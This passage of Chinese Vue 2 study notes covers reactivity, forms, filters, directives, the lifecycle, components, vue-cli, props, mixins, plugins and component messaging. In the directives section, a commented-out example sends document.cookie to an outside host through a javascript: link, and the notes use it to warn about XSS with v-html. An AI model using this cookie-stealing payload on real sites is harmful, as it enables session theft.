1. 最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
2. 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
使用index作为key是没有问题的。
-->
<!--
数据劫持
Vue监视数据的原理:
1. vue会监视data中所有层次的数据。
2. 如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据。
(1).对象中后追加的属性,Vue默认不做响应式处理
(2).如需给后添加的属性做响应式,请使用如下API:
Vue.set(target,propertyName/index,value) 或
vm.$set(target,propertyName/index,value)
3. 如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
(1).调用原生对应的方法对数组进行更新。
(2).重新解析模板,进而更新页面。
4.在Vue修改数组中的某个元素一定要用如下方法:
1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
2.Vue.set() 或 vm.$set()
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
-->
22. 收集表单数据
①表单案例
<div id="root">
<form @submit.prevent="func">
账号:<input type="text" v-model.trim="userInfo.account"><br><br>
密码:<input type="password" v-model="userInfo.password"><br><br>
年龄:<input type="number" v-model.number="userInfo.age"><br><br>
性别:
男<input type="radio" name="sex" v-model="userInfo.sex" value="男">
女<input type="radio" name="sex" v-model="userInfo.sex" value="女"><br><br>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="学习">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="打游戏">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="吃饭"><br><br>
所属校区:
<select v-model="userInfo.city">
<option value="请选择校区">请选择校区</option>
<option value="北京">北京</option>
<option value="上海">上海</option>
<option value="深圳">深圳</option>
<option value="武汉">武汉</option>
</select><br><br>
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea><br><br>
<input type="checkbox" v-model="userInfo.agree">
阅读并接受<a href="http://www.atguigu.com">《用户协议》</a><br><br>
<button type="submit">提交</button>
</form>
</div>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
userInfo:{
account:'',
password:'',
age:'',
sex:'男',
hobby:[],
city:'北京',
other:'',
agree:'',
}
},
methods: {
func(){
alert("表单提交了");
console.log(JSON.stringify(this.userInfo));
}
},
})
</script>
②收集表单数据总结
<!--
收集表单数据:
1. 若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
2. 若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
3. 若:<input type="checkbox"/>
1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2.配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组
4. 备注:v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
-->
23. 过滤器
①过滤器案例
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 方法1:计算属性实现 -->
<h3>现在是:{{formatTime}}</h3>
<!-- 方法2:methods 实现 -->
<h3>现在是:{{getFormatTime()}}</h3>
<!-- 方法3:过滤器 实现 -->
<h3>现在是:{{time | timeFormater}}</h3>
<!-- 方法4:过滤器 实现(传参) -->
<h3>现在是:{{time | timeFormater('YYYY-MM-DD') | mySlice}}</h3>
</div>
<div id="root2">
<h2>{{msg | mySlice}}</h2>
</div>
</body>
<script>
Vue.config.productionTip = false;
// 全局过滤器
Vue.filter('mySlice',function(val){
return val.slice(0,5);
})
new Vue({
el:'#root',
data:{
time:1636703974998, // 时间戳
},
computed:{
formatTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss');
}
},
methods:{
getFormatTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss');
}
},
// 局部过滤器
filters:{
timeFormater(val,str='YYYY-MM-DD HH:mm:ss'){
return dayjs(val).format(str);
},
mySlice(val){
return val.slice(0,4);
}
}
})
new Vue({
el:'#root2',
data:{
msg:'hello,atguigu'
},
})
</script>
②过滤器总结
<!--
过滤器:
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
2.使用过滤器:{{ 参数 | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
备注:
1.过滤器也可以接收额外参数、多个过滤器也可以串联
2.并没有改变原本的数据, 是产生新的对应的数据
-->
24. 内置指令
①内置指令
<style>
[v-cloak]{
display: none;
}
</style>
<div id="root">
<div v-cloak>你好,{{name}}</div>
<div v-text="name"></div>
<div v-html="str"></div>
<!-- <div v-html="str2"></div> -->
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script src="../js/vue.js"></script>
</body>
<script>
Vue.config.productionTip = false;
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>',
// 危险行为 ,HttpOnly http协议读取
// str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟,我找到你想要的资源了,快来!</a>',
n:1,
}
})
</script>
②内置指令总结
<!--
我们学过的指令:
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存在)
v-else : 条件渲染(动态控制节点是否存在)
v-show : 条件渲染 (动态控制节点是否展示)
v-text 指令:
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
v-html 指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
v-cloak 指令(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
v-once 指令:
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
v-pre 指令:
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
-->
25. 自定义指令
①自定义指令案例
<div id="root">
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big="n"></span></h2>
<button @click="n++">点我n+1</button>
<hr>
<input type="text" v-fbind:value="n">
</div>
</body>
<script>
Vue.config.productionTip = false;
// 全局指令
Vue.directive('big',function(element,binding){
console.log('big',this); // 注意:此处的 this 是 window
element.innerText = binding.value * 10;
console.log(element,binding.value);
});
new Vue({
el:'#root',
data:{
n:1,
},
// 局部指令
directives:{
// big 函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
// big(element,binding){
// console.log('big',this); // 注意:此处的 this 是 window
// element.innerText = binding.value * 10;
// console.log(element,binding.value);
// },
fbind:{
// 指令与元素成功绑定时(一上来)调用
bind(element,binding){
element.value = binding.value;
},
// 指令所在元素被插入页面时
inserted(element,binding){
element.focus();
},
// 指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value;
},
}
}
})
</script>
②自定义指令总结
<!--
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
自定义指令总结:
一、定义语法:
(1).局部指令:
new Vue({ new Vue({
directives:{指令名:配置对象} 或 directives{指令名:回调函数}
}) })
(2).全局指令:
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
二、配置对象中常用的3个回调:
(1)bind():指令与元素成功绑定时调用。
(2)inserted():指令所在元素被插入页面时调用。
(3)update():指令所在模板结构被重新解析时调用。
三、备注:
1.指令定义时不加v-,但使用时要加v-;
2.指令名如果是多个单词,要使用user-name命名方式,不要用userName命名。
-->
26. 生命周期
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yeQuOVBy-1638510009297)(D:\web前端\图片\生命周期.png)]
①引出生命周期
<div id="root">
<h2 v-if="a">你好啊</h2>
<h2 :style="{opacity}">欢迎学习Vue</h2>
</div>
</body>
<script>
new Vue({
el:'#root',
data:{
a:true,
opacity:1,
},
methods:{
},
// Vue完成模板的解析并把初始的真实的DOM元素放入页面后(挂载完毕)调用
mounted(){
console.log("mouted");
setInterval(() => {
this.opacity -= 0.01;
if(this.opacity <= 0) this.opacity = 1;
},16);
},
})
// 通过外部的定时器实现(不推荐)
// setInterval(() => {
// vm.opacity -= 0.01;
// if(vm.opacity <= 0) vm.opacity = 1;
// },16);
</script>
②分析生命周期
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
<button @click="bye">点我销毁vm</button>
</div>
</body>
<script>
new Vue({
el:'#root',
// template: `
// <div>
// <h2>当前的n值是:{{n}}</h2>
// <button @click="add">点我n+1</button>
// </div>
// `,
data: {
n:'1',
},
methods: {
add(){
console.log("add");
this.n++;
},
bye(){
console.log("bye");
this.$destroy();
}
},
// 生命周期挂载流程
beforeCreate() {
console.log("beforeCreate");
},
created() {
console.log("created")
},
beforeMount() {
console.log("beforeMount");
},
mounted() {
console.log("mounted");
},
// 生命周期更新流程
beforeUpdate() {
console.log("beforeUpdate");
console.log("数据是更新的,页面未更新");
},
updated() {
console.log("updated");
console.log("数据更新,页面也更新");
},
// 生命周期销毁流程
beforeDestroy() {
console.log("beforeDestroy");
console.log("收尾:关闭定时器、取消订阅消息、解绑自定义事件");
},
destroyed() {
console.log("destroyed");
console.log("什么也不干");
},
})
</script>
③总结生命周期案例
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
</div>
</body>
<script>
new Vue({
el:'#root',
data:{
opacity:1,
},
methods:{
stop(){
// clearInterval(this.timer); // 清除定时器
this.$destroy(); // 干掉 vm,自杀式
}
},
// Vue完成模板的解析并把初始的真实的DOM元素放入页面后(挂载完毕)调用
mounted() {
console.log("mouted");
this.timer = setInterval(() => {
this.opacity -= 0.01;
if(this.opacity <= 0) this.opacity = 1;
},16);
},
beforeDestroy() {
clearInterval(this.timer); // 清除定时器
},
})
</script>
④生命周期总结
<!--
生命周期总结:
1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
4.生命周期函数中的this指向是vm 或 组件实例对象。
生命周期函数(4对):创建、挂载、更新、销毁
常用的生命周期钩子:
1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
关于销毁Vue实例
1.销毁后借助Vue开发者工具看不到任何信息。
2.销毁后自定义事件会失效,但原生DOM事件依然有效。
3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
-->
27. 组件的优点
①传统方式编写应用
存在的问题:
-
依赖关系混乱,不好维护;
-
html页面的结构复用率不高。
②使用组件方式编写应用
组件的定义:实现应用中局部功能代码和资源的集合;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-baRLR05n-1638510009298)(D:\web前端\图片\vue4-使用组件方式编写应用.png)]
28. 非单文件组件
①基本使用
<div id="root">
<!-- 第三步:编写组件标签 -->
<hello></hello>
<hr>
<school></school>
<hr>
<student></student>
</div>
</body>
<script>
// 第一步:创建 school 组件
const school = Vue.extend({
template:`
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
`,
// el:'#root', // 组件定义时,一定不要写el 配置项,因为最终所有的组件都要被一个vm 管理,由vm 决定服务于哪个容器
data(){
return {
schoolName:'尚硅谷',
address:'北京昌平',
}
},
methods: {
showName(){
alert(this.schoolName);
}
},
})
// 第一步:创建 student 组件
const student = Vue.extend({
template:`
<div>
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
`,
data(){
return {
studentName:'张三',
age:18,
}
}
})
// 第一步:创建 hello 组件
const hello = Vue.extend({
template:`
<div>
<h2>你好啊!{{name}}</h2>
</div>
`,
data(){
return {
name:'Tom'
}
}
})
// 第二步:全局注册组件
Vue.component('hello',hello);
// 创建 vm
new Vue({
el:'#root',
// 第二步:注册组件(局部注册)
components:{
school,
student
}
})
</script>
②几个注意点
<!--
几个注意点:
1.关于组件名:
一个单词组成:
第一种写法(首字母小写):school
第二种写法(首字母大写):School
多个单词组成:
第一种写法(kebab-case命名):my-school
第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
备注:
(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
(2).可以使用name配置项指定组件在开发者工具中呈现的名字。
2.关于组件标签:
第一种写法:<school></school>
第二种写法:<school/>
备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。
3.一个简写方式:
const school = Vue.extend(options) 可简写为:const school = options
-->
③组件的嵌套
<div id="root">
<app></app>
</div>
</body>
<script>
// student 组件
const student = Vue.extend({
name:'student',
template:`
<div>
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
`,
data(){
return {
studentName:'张三',
age:21
}
}
})
// school 组件
const school = Vue.extend({
name:'school',
template:`
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<student></student>
</div>
`,
data(){
return {
schoolName:'尚硅谷',
address:'北京昌平'
}
},
components:{
student
}
})
// hello 组件
const hello = Vue.extend({
name:'hello',
template:`
<h1>{{msg}}</h1>
`,
data(){
return {
msg:'欢迎来到尚硅谷学习!'
}
},
})
// app 组件
const app = Vue.extend({
template:`
<div>
<school></school>
<hello></hello>
</div>
`,
components:{
school,
hello
}
})
new Vue({
el:'#root',
components:{app}
})
</script>
④VueComponent
<!--
关于VueComponent:
1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,
即Vue帮我们执行的:new VueComponent(options)。
3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!
4.关于this指向:
(1).组件配置中:
data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
(2).new Vue(options)配置中:
data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象
5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
Vue的实例对象,以后简称vm。
-->
⑤一个重要的内置关系
<!--
1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
-->
<div id="root">
<school></school>
</div>
</body>
<script>
Vue.config.productionTip = false;
// school 组件
const school = Vue.extend({
name:'school',
template:`
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
`,
data(){
return {
schoolName:'尚硅谷',
address:'北京昌平'
}
},
})
new Vue({
el:'#root',
components:{
school
}
})
// 定义一个构造函数
// function Demo(){
// this.a = 1;
// this.b = 2;
// }
// // 创建一个Demo 的实例对象
// const d = new Demo();
// console.log(Demo.prototype); // 函数身上的显式原型属性
// console.log(d.__proto__); // 对象身上的隐式原型属性
// // 程序员通过显式原型属性操作原型对象,追加一个 x属性
// Demo.prototype.x = 99;
// console.log("@",d);
</script>
⑥Vue总结
<!--
Vue中使用组件的三大步骤:
一、定义组件(创建组件)
二、注册组件
三、使用组件(写组件标签)
1.如何定义一个组件?
使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
区别如下:
1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
备注:使用template可以配置组件结构。
2.如何注册组件?
1.局部注册:靠new Vue的时候传入components选项
2.全局注册:靠Vue.component('组件名',组件)
3.编写组件标签:
<school></school>
-->
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rOx5SlKU-1638510009299)(D:\web前端\图片\vue5-Vue与VueComponent的关系.png)]
29. 单文件组件
①School.vue
<template>
<!-- 组件的结构 -->
<div class="demo">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
</template>
<script>
// 组件交互相关的代码(数据、方法等等)
export default {
name:'School',
data(){
return {
name:'尚硅谷',
address:'北京昌平',
}
},
methods: {
showName(){
alert(this.name);
}
},
}
</script>
<style>
/* 组件的样式 */
.demo{
background-color: orange;
}
</style>
②Student.vue
<template>
<!-- 组件的结构 -->
<div>
<h2>学生姓名:{{name}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
</template>
<script>
// 组件交互相关的代码(数据、方法等等)
export default {
name:'Student',
data(){
return {
name:'张三',
age:21,
}
},
}
</script>
<style>
/* 组件的样式 */
</style>
③App.vue
<template>
<div>
<School></School>
<Student></Student>
</div>
</template>
<script>
// 引入组件
import School from './School'
import Student from './Student'
export default {
name:'App',
components:{
School,
Student
}
}
</script>
④main.js
import App from './App.vue'
new Vue({
el:'#root',
components:{
App
}
})
⑤index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>练习一下单文件组件的语法</title>
</head>
<body>
<div id="root">
<App></App>
</div>
</body>
<script src="../../js/vue.js"></script>
<script src="./main.js"></script>
</html>
30. 路由
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>vue 路由</title>
</head>
<body>
<div id="app">
头部
<router-link :to="{path: '/login',query: {id}}">登录</router-link>
<router-link :to="{name: 'Register',params: {id}}">注册</router-link>
<router-link to="/news">新闻</router-link>
<button @click="linkToLogin">登录</button>
<button @click=linkToRegister>注册</button>
<button @click="goback">返回</button>
<router-view></router-view>
尾部
</div>
<template id="login">
<div>
登录页面
</div>
</template>
<template id="register">
<div>
注册页面
</div>
</template>
<template id="news">
<div>
新闻页面
<router-link :to="{name:'news.sports'}">体育新闻</router-link>
<router-view></router-view>
</div>
</template>
<template id="sports">
<div>
体育新闻
</div>
</template>
</body>
<script src="../js/vue.js"></script>
<script src="../js/vue-router.js"></script>
<script>
// 安装路由插件
Vue.use(VueRouter);
// 创建登录子组件
var Login = {
template: '#login',
created() {
console.log(this.$route.query.id);
},
}
var Register = {
template: '#register',
created() {
console.log(this.$route.params.id);
}
}
var News = {
template: '#news',
}
var Sports = {
template: '#sports'
}
// 创建路由对象,并配置路由
var router = new VueRouter({
routes: [
// 配置一级路由
{
path: '/login',
component: Login,
name: 'Login'
},
{
path: '/register:id',
component: Register,
name: 'Register'
},
{
path: '/news',
component: News,
name: 'News',
children: [
{
path: 'sports',
component: Sports,
name: 'news.sports'
}
]
},
{
// 重定向,即打开页面时的默认页面
path: '',
redirect: '/register'
}
]
});
var app = new Vue({
el:'#app',
data() {
return {
id: '001',
name: '张三'
}
},
router: router,
methods: {
linkToLogin(){
this.$router.push({path:'/login',query:{name: this.name}});
},
linkToRegister(){
this.$router.push({name: 'Register',params:{id: this.id}});
},
goback(){
this.$router.go(-1);
}
},
})
</script>
</html>
二、Vue-cli
1. vue-cli 创建项目
①在 C:\Windows\System32\cmd.exe
中以管理员身份运行
②在 cmd 中 输入 d: 回车
切换盘符
③在 D:\node 创建项目,输入 vue create vue_01
④半天没有反应,点击回车键,等待…
⑤cd vue_02
⑥npm run serve
⑦在浏览器输入 http://localhost:8080/
2. 脚手架文件结构
├── node_modules
├── public
│ ├── favicon.ico: 页签图标
│ └── index.html: 主页面
├── src
│ ├── assets: 存放静态资源
│ │ └── logo.png
│ │── component: 存放组件
│ │ └── HelloWorld.vue
│ │── App.vue: 汇总所有组件
│ │── main.js: 入口文件
├── .gitignore: git版本管制忽略的配置
├── babel.config.js: babel的配置文件
├── package.json: 应用包配置文件
├── README.md: 应用描述文件
├── package-lock.json:包版本控制文件
3. rander()函数
/*
该文件是整个项目的入口文件
*/
//引入Vue
import Vue from 'vue'
//引入App组件,它是所有组件的父组件
import App from './App.vue'
//关闭vue的生产提示
Vue.config.productionTip = false
/*
关于不同版本的Vue:
1.vue.js与vue.runtime.xxx.js的区别:
(1).vue.js是完整版的Vue,包含:核心功能+模板解析器。
(2).vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。
2.因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用
render函数接收到的createElement函数去指定具体内容。
*/
//创建Vue实例对象---vm
new Vue({
el:'#app',
//render函数完成了这个功能:将App组件放入容器中
render: h => h(App),
// render:q=> q('h1','你好啊')
// template:`<h1>你好啊</h1>`,
// components:{App},
})
4. 修改默认配置
-
使用vue inspect > output.js可以查看到Vue脚手架的默认配置。
-
使用vue.config.js可以对脚手架进行个性化定制,详情见:https://cli.vuejs.org/zh
module.exports = {
pages: {
index: {
// 入口
entry: 'src/main.js',
},
},
lintOnSave:false, // 关闭语法检查
}
5. ref属性(id)
①ref属性举例
App.vue
<template>
<div>
<h1 v-text="msg" ref="title"></h1>
<button @click="showDom" ref="btn">点我输出上方的DOM元素</button>
<School ref="sch"></School>
<Student name="张三" :age="18" sex="男"></Student>
</div>
</template>
<script>
// 引入School组件
import School from './components/School'
import Student from './components/Student'
export default {
name: "App",
components:{
School,
Student
},
data() {
return {
msg:'欢迎学习Vue!',
}
},
methods:{
showDom(){
console.log(this.$refs.title); // 真实DOM元素
console.log(this.$refs.btn); // 真实DOM元素
console.log(this.$refs.sch); // School组件的实例对象(vc)
}
},
};
</script>
②ref属性总结
- 被用来给元素或子组件注册引用信息(id的替代者)
- 应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
- 使用方式:
- 打标识:
<h1 ref="xxx">.....</h1>
或<School ref="xxx"></School>
- 获取:
this.$refs.xxx
- 打标识:
6. props配置项
①props配置项(3)
Student.vue
<template>
<div>
<h1>{{msg}}</h1>
<h2>学生姓名:{{name}}</h2>
<h2>学生年龄:{{myAge}}</h2>
<h2>学生性别:{{sex}}</h2>
<button @click="updateAge">尝试修改收到的年龄</button>
</div>
</template>
<script>
export default {
// 组件名
name:'Student',
data() {
return {
msg:'我是一个学生',
myAge:this.age
}
},
methods:{
updateAge(){
this.myAge++
}
},
props:['name','age','sex'] // 简单声明接收
// 接收的同时对数据进行类型限制
// props:{
// name:String,
// age:Number,
// sex:String
// }
// 接收的同时对数据:进行类型限制+默认值的指定+必要性的限制
// props:{
// name:{
// type:String, // name的类型是字符串
// required:true // name是必要的
// },
// age:{
// type:Number,
// default:99 // 默认值
// },
// sex:{
// type:String,
// required:true
// }
// }
}
</script>
②props配置项总结
-
功能:让组件接收外部传过来的数据
-
传递数据:
<Student name="xxx"/>
-
接收数据:
-
第一种方式(只接收):
props:['name']
-
第二种方式(限制类型):
props:{name:String}
-
第三种方式(限制类型、限制必要性、指定默认值):
props:{ name:{ type:String, //类型 required:true, //必要性 default:'老王' //默认值 } }
备注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。
-
7. mixin(混入)
①mixin举例
mixin.js
// 定义并导入混入
export const mixin1 = {
methods:{
showName(){
alert(this.name);
}
},
mounted() {
console.log('你好啊!');
},
}
export const mixin2 = {
data() {
return {
x:100,
y:200
}
},
}
全局混入:mian.js
// 全局引入混入
// import { mixin1,mixin2 } from './mixin'
// mixin 全局使用混入
// Vue.mixin(mixin1)
// Vue.mixin(mixin2)
Student.vue
<script>
import { mixin1,mixin2 } from '../mixin'
export default {
mixins:[mixin1,mixin2]
}
</script>
②mixin总结
-
功能:可以把多个组件共用的配置提取成一个混入对象
-
使用方式:
第一步定义混合:
{ data(){....}, methods:{....} .... }
第二步使用混入:
全局混入:
Vue.mixin(xxx)
局部混入:mixins:['xxx']
如果两个变量起冲突,以自己为主;
如果 Student.vue 和 mixin.js 中都有 钩子函数,先输出 mixin.js 中的钩子函数,再输出 Student.vue 中的钩子函数。
8. 插件
①plugins.js
export default {
install(Vue,x,y){
console.log('@@install',Vue,x,y);
// 全局过滤器
Vue.filter('mySlice',function(val){
return val.slice(0,5);
})
// 全局自定义指令
Vue.directive('big',function(element,binding){
console.log('big');
element.innerText = binding.value * 10;
console.log(element,binding.value);
});
// 全局混入
Vue.mixin({
data() {
return {
x:100,
y:200
}
}
})
// 给 Vue 原型上添加一个方法(vm 和 vc 都能用)
Vue.prototype.hello = ()=>{
alert("hello");
}
}
}
②main.js
// 引入插件
import plugins from './plugins'
// 使用插件
Vue.use(plugins,1,2)
③plugins总结
-
功能:用于增强Vue
-
本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。
-
定义插件:
对象.install = function (Vue, options) { // 1. 添加全局过滤器 Vue.filter(....) // 2. 添加全局指令 Vue.directive(....) // 3. 配置全局混入(合) Vue.mixin(....) // 4. 添加实例方法 Vue.prototype.$myMethod = function () {...} Vue.prototype.$myProperty = xxxx }
-
使用插件:
Vue.use()
9. scoped样式
npm view webpack versions
:查看 webpack 所有的版本,稳定的 ‘4.46.0’
npm view less-loader versions
npm i less-loader@7
less-loader 7 以后的版本 为 webpack 5 服务
<style lang="less"></style> //预编译语
- 作用:让样式在局部生效,防止冲突。
- 写法:
<style scoped>
10. WebStorage
①xxxStorage案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>localStorage</title>
</head>
<body>
<h2>localStorage</h2>
<button onclick="saveDate()">点我保存一个数据</button>
<button onclick="readDate()">点我读取一个数据</button>
<button onclick="deleteDate()">点我删除一个数据</button>
<button onclick="clearDate()">点我清空一个数据</button>
</body>
<script>
let p = {name:'张三',age:18};
function saveDate(){
localStorage.setItem('msg','hello!');
localStorage.setItem('msg2',666);
localStorage.setItem('person',JSON.stringify(p));
}
function readDate(){
console.log(localStorage.getItem('msg'));
console.log(localStorage.getItem('msg2'));
console.log(JSON.parse(localStorage.getItem('person')));
}
function deleteDate(){
localStorage.removeItem('msg2');
}
function clearDate(){
localStorage.clear();
}
</script>
</html>
②webStorage总结
-
存储内容大小一般支持5MB左右(不同浏览器可能还不一样)
-
浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。
-
相关API:
-
xxxxxStorage.setItem('key', 'value');
该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。 -
xxxxxStorage.getItem('person');
该方法接受一个键名作为参数,返回键名对应的值。
-
xxxxxStorage.removeItem('key');
该方法接受一个键名作为参数,并把该键名从存储中删除。
-
xxxxxStorage.clear()
该方法会清空存储中的所有数据。
-
-
备注:
- SessionStorage存储的内容会随着浏览器窗口关闭而消失。
- LocalStorage存储的内容,需要手动清除才会消失。
xxxxxStorage.getItem(xxx)
如果xxx对应的value获取不到,那么getItem的返回值是null。JSON.parse(null)
的结果依然是null。
11. GlobalEventBus
①全局事件案例
main.js
new Vue({
el: '#app',
render: h => h(App),
beforeCreate() {
Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
},
})
School.vue的js
// 接收数据
mounted() {
this.$bus.$on("hello", data => {
console.log("我是School组件,收到了学生名字:", data);
});
},
beforeDestroy() {
this.$bus.$off('hello');
},
}
Student.vue
<template>
<div class="student">
<h2>学生姓名:{{name}}</h2>
<h2>学生性别:{{sex}}</h2>
<button @click="sendStudentName">把学生名给School组件</button>
</div>
</template>
<script>
export default {
// 组件名
name: "Student",
data() {
return {
name: "张三",
sex: "男",
};
},
// mounted() {
// console.log("Student", this.$bus);
// },
methods: {
sendStudentName(){
this.$bus.$emit('hello',this.name);
}
②全局事件总结
一种组件间通信的方式,适用于任意组件间通信。
-
安装全局事件总线:
new Vue({ ...... beforeCreate() { Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm }, ...... })
-
使用事件总线:
- 接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。
- 提供数据:
this.$bus.$emit('xxxx',数据)
methods(){
demo(data){......}
}
......
mounted() {
this.$bus.$on('xxxx',this.demo)
}
- 最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件。
12. pubsub
①消息订阅与发布案例
School.vue
import pubsub from 'pubsub-js'
// 订阅消息
mounted(){
this.pubId = pubsub.subscribe('hello',(msgName,val)=>{
console.log('有人发布了hello消息,hello消息的回调执行了',msgName,val);
})
},
// 取消订阅
beforeDestroy(){
pubsub.unsubscribe(this.pubsub);
},
Student.vue
import pubsub from 'pubsub-js'
sendStudentName(){
// 发布消息
pubsub.publish('hello',this.name);
}
②消息订阅与发布总结
-
一种组件间通信的方式,适用于任意组件间通信。
-
使用步骤:
-
安装pubsub:
npm i pubsub-js
-
引入:
import pubsub from 'pubsub-js'
-
接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。
methods(){ demo(data){......} } ...... mounted() { this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息 }
-
提供数据:
pubsub.publish('xxx',数据)
-
最好在beforeDestroy钩子中,用
PubSub.unsubscribe(pid)
去取消订阅。
-
13. nextTick钩子函数
- 语法:
